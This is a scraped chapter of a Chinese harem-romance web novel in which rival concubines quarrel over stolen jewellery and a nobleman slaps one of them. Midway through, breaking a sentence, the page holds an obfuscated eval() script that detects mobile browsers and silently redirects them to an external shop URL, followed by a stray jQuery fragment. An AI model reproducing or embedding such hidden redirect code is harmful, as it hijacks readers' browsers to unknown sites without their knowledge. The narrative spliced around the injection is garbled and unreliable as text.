文趣网 > 其他小说 > 春色折棠 > 5. 耳光
    凌渐台双眸紧缩,狭长的双眼似一只利箭,仿佛下一刻就要刺穿她。

    被吓了一跳,柳橙衣立刻回神。一双晶亮的眸子,透出水光,泪水几乎要夺眶而出。

    “世子是喜欢我的对吗,两情相悦,本就是要亲密无间。“她一脸委屈地说道:“而且刚刚是世子索求的。”

    凌渐台歪了歪头,静静地看着她演。

    他未反驳,柳橙衣以为他信了,胆子又大了起来,猛然扑到他的怀里。

    可一瞬间,一只手死死地攥住她手臂,将她拽开。

    “世子,疼......”柳橙衣的小脸痛苦地皱在了一起。

    强劲的手劲压着她手臂,她曲膝跪了下去。

    “你当本世子傻吗?”

    一股无形的压迫感袭来,那冰冷锋利的眼神,好似要射穿她的喉咙。

    谎言被戳穿,她浑身颤抖起来。但她仍不甘心,仰起头,“关宁宁可以,为什么我不行?”

    “你不是她。”随即,凌渐台甩开她的手臂,像丢垃圾一样。“滚。”

    世子真的动了怒,再纠缠下去,就是自找苦吃。

    柳橙衣满身狼狈地跑出去,满脸的愤恨,凭什么关宁宁能得到世子的眷顾。

    她攥紧了手指,掐进肉里,恨不得当场掐死她。

    *

    舒婧宣自从失宠后,为了缓解伤心,她时常去外面街市上逛逛,今日刚从外面回来,远远地就瞧见柳橙衣。

    只见她整个人失魂落魄的,脸上挂满了泪痕。

    她故意走近,“姐姐这是怎么了?”

    “舒婧宣,你最好给我滚远点。”柳橙衣的脸色立刻变得阴戾,瞪她一眼。

    舒婧宣笑了笑,“姐姐好大的气性。”

    看向柳橙衣来时的方向,她似乎猜到了什么,唇角几不可查地翘了翘。

    “世子一直养着我们,也算是对我们有恩。姐姐何必自寻烦恼?”她语气温婉,似在安慰。

    “而且凭关妹妹的长相,以后只会更加备受宠爱。”

    “就算我们想争也是徒费心神,不如安于现状,做好一个妾的本分。”

    听此,柳橙衣内心的忌恨更甚。

    她咬紧了牙,双眼染了猩红,盯着她,“舒婧宣,你怎么不去死啊。”

    她柳橙衣可是要做世子妃的人,她用尽手段,走到今日,绝不能让一个贱人夺了先。

    *

    凌渐台好像越来越喜欢关宁宁了,几乎夜夜都来。而且赏赐了她不少金银珠宝,关宁宁开心极了,也不再扭捏。毕竟这可是能救命的,真金白银。

    就算哪日凌渐台对她腻了,有这些金银傍身,她也能活得舒服。

    这样想着,她倒是希望世子日日宠幸他了,可以趁机多讨些赏赐。

    琼华苑并不大,一应陈设皆精小,自是比不得世子的竹苑。

    凌渐台早就嫌弃琼华苑的床榻小,这两日,终于受不了,便让她留宿在竹苑。

    世子赏赐的金银,她已经攒了一整箱,在琼华苑每日她都要开箱点一遍才餍足。

    在竹苑待了两日,她亦两日未摸到了,满脑子都是那闪闪发光的金银珠宝,可现下看不见摸不着,她心里空落落的。

    直至今日,用完午膳,世子才肯放她走,她一人脚步飞快,回了琼华苑。

    她兴高采烈地打开箱子,可里面空空如也!她攒的满满一箱金银首饰,全都不见了!

    一个不剩!

    门口传来脚步声,小叠刚刚从外面回来。

    关宁宁瞥她一眼,“你又出去了?”她发现小叠倒是对世子府很感兴趣,日日都要出琼华苑在府中闲逛。

    小叠垂头,解释道:“奴婢初来乍到,对世子府并不熟悉,所以出去走走。”

    她满脸急切,“我的首饰都不见了,你可看见有人来过?”

    小叠沉默,没说话。

    “你不在苑中好好待着,日日出去溜达什么!”关宁宁一股怒气冲出胸腔。

    见状,小叠跪下去,头更低了,却仍旧不说话。

    关宁宁紧皱眉头,越想越气。

    过了须臾,小叠开口道:“奴婢想起来了,昨日傍晚奴婢回来时,从琼华苑东边的拐角处看到一个背影,是柳夫人的婢女,阿季。当时她行踪鬼祟,溜得极快,但奴婢并没有多想,如今看来,阿季很可疑。”

    她疑惑,柳橙衣?

    小叠又细细回想一遍,再次确定,“奴婢没有看错,确定是阿季。”

    上次柳橙衣在关宁宁的榻上放毒蝎。

    由此可想,一次不成,便来第二次了。可这次她竟然偷她的金银!一想到那些钱,她唇瓣不禁抽动,眼神恨恨。

    前些天世子对她不悦,她担惊受怕,忍了下来。现下她很得世子喜爱,还需忍什么。

    带上小叠,她气势汹汹前去,一手推开柳橙衣的门,径直而入。二话不说直接质问道:“昨日你的丫鬟为何出现在我的院子周围?”

    柳橙衣冷眼瞪着她,讥笑道:“才被宠幸了几日,就敢这么嚣张跋扈。”

    “我有东西丢了,我怀疑是你的丫鬟偷的。”关宁宁懒得跟她废话,“我要搜查你这苑中所有的屋子。”

    “你以为你是谁?”柳橙衣简直被气笑了,猛地起身,“你有什么资格搜我的屋子?”

    之前放毒蝎一事还未跟她算账,关宁宁早就憋了一股气。这次她动她的钱,就是跟她的命过不去。

    旋即,关宁宁端出一副盛气凌人的样子,“你若是清清白白,便让我搜一搜。”

    “仗着世子的宠爱,你就无法无天了吗?"柳橙衣冷笑。

    关宁宁不甘示弱,眼神犀利,透出一丝挑衅,"是啊,怎样?"

    柳橙衣忽然低头笑了,她努力克制住自己的愤怒。如今关宁宁越嚣张,她的胜算就越大。

    再抬头,迎上关宁宁的目光,轻飘飘开口,“偷了便偷了,你能怎样?”

    关宁宁瞳孔怔住,被她的无耻震惊地说不出话来。

    眼下关宁宁必须灭一灭她的气焰,与她撕扯再多,只是白费口舌,只有世子发话,她才能收敛。

    “既然你都承认了,那便让世子来做主。”

    “小叠,去请世子。”她扭头朝小叠道。

    柳橙衣

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702805|208239||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    歪了歪头,却是一副无所谓的样子,她的目的已然达成一半。

    不一会,她又开始她的表演,阴阳怪气地再次朝关宁宁道:“拿你点银子这么大张旗鼓做什么?一身穷酸样。”

    似是想到了什么,她惊呼一声,捂住唇,“妹妹这么在乎钱,不会是从勾栏瓦舍出来的吧,世子这么喜欢妹妹,想必妹妹使了不一般的手段呢。”

    “你血口喷人。”关宁宁眉头拧紧了,怒意在眼眶汹涌着,“再胡说八道,我撕了你的嘴。”

    柳橙衣不以为然,继续刺激她,“听说青楼里的老鸨很会调教人,不知是怎么调教的?”

    “是和不同的男子在床上......”

    她话还没说完,就被关宁宁揪住头发,一巴掌落在脸上,火辣辣地疼。

    在世子府中,柳橙衣还未受过这样的屈辱,顿时和关宁宁扭打在了一起。

    外面传来一阵脚步声,越来越近,柳橙衣意识到是世子来了,及时收手,任由关宁宁捶打。

    嘎吱一声,门被推开。

    柳橙衣应声倒地,从门口的方向看过来,就像是被关宁宁推倒的。

    这一幕,凌渐台尽收眼底,他眉头微微拧起。

    来不及收拾狼狈的自己,关宁宁上前控诉道:“世子,柳橙衣偷了我的金银,不仅辱骂我,还在这里造谣生事。”

    “你胡说。”柳橙衣立刻否认,“谁稀罕你那点金银,跟没有见过钱似的。”

    整理好衣衫和头发,柳橙衣可怜兮兮地挨过来,娥眉微蹙着,有一种说不出的破碎感,“世子,是关宁宁诬陷我。”

    关宁宁惊愕地睁大了双眼,“你刚刚还承认了,怎么世子一来,你就不敢承认了呢?”

    “没有做过的事情为什么要认?”说着,她一双清亮的眼眸滚出几滴泪珠,“难道我还不能为自己辩解吗。”

    被她的演技惊到,一时之间,关宁宁竟不知说什么了。

    “仗着世子的宠爱,你就像个泼妇一样,肆意欺辱我。”柳橙衣说得越来越心酸,抬袖抹起眼泪来,“现在世子终于见到你的真面目了。”

    关宁宁气急,再也忍不住,“柳橙衣,你才是栽赃陷害!”

    看着她们互相攀咬,凌渐台忽然扯唇,笑了。

    周围一下子安静下来。

    关宁宁心中忽然划过一丝不好的预感,但也只是一瞬,她也没有多想,解决眼下的问题才更紧急,她唇瓣动了动,欲要重新解释。

    “这么点事,还需要来麻烦本世子?”凌渐台眼神骤然变冷,掀眸看向她,抬手掐住她的下巴。

    关宁宁一脸错愕,还来不及思考,他反手一巴掌就扇了过来。

    她懵了。

    这一耳光并不重。

    但足以让她愣在原地。

    凌渐台目光阴冷,扫视了一周。

    对心悦之人,他可以容忍她的任性和小脾气。

    但她们不过是他无聊,找来解闷的东西,乖巧听话才是他需要的。

    一点点宠爱就让她们恃宠而骄,在后宅惹是生非。

    从前他懒得管,但今日着实令人心烦、生厌。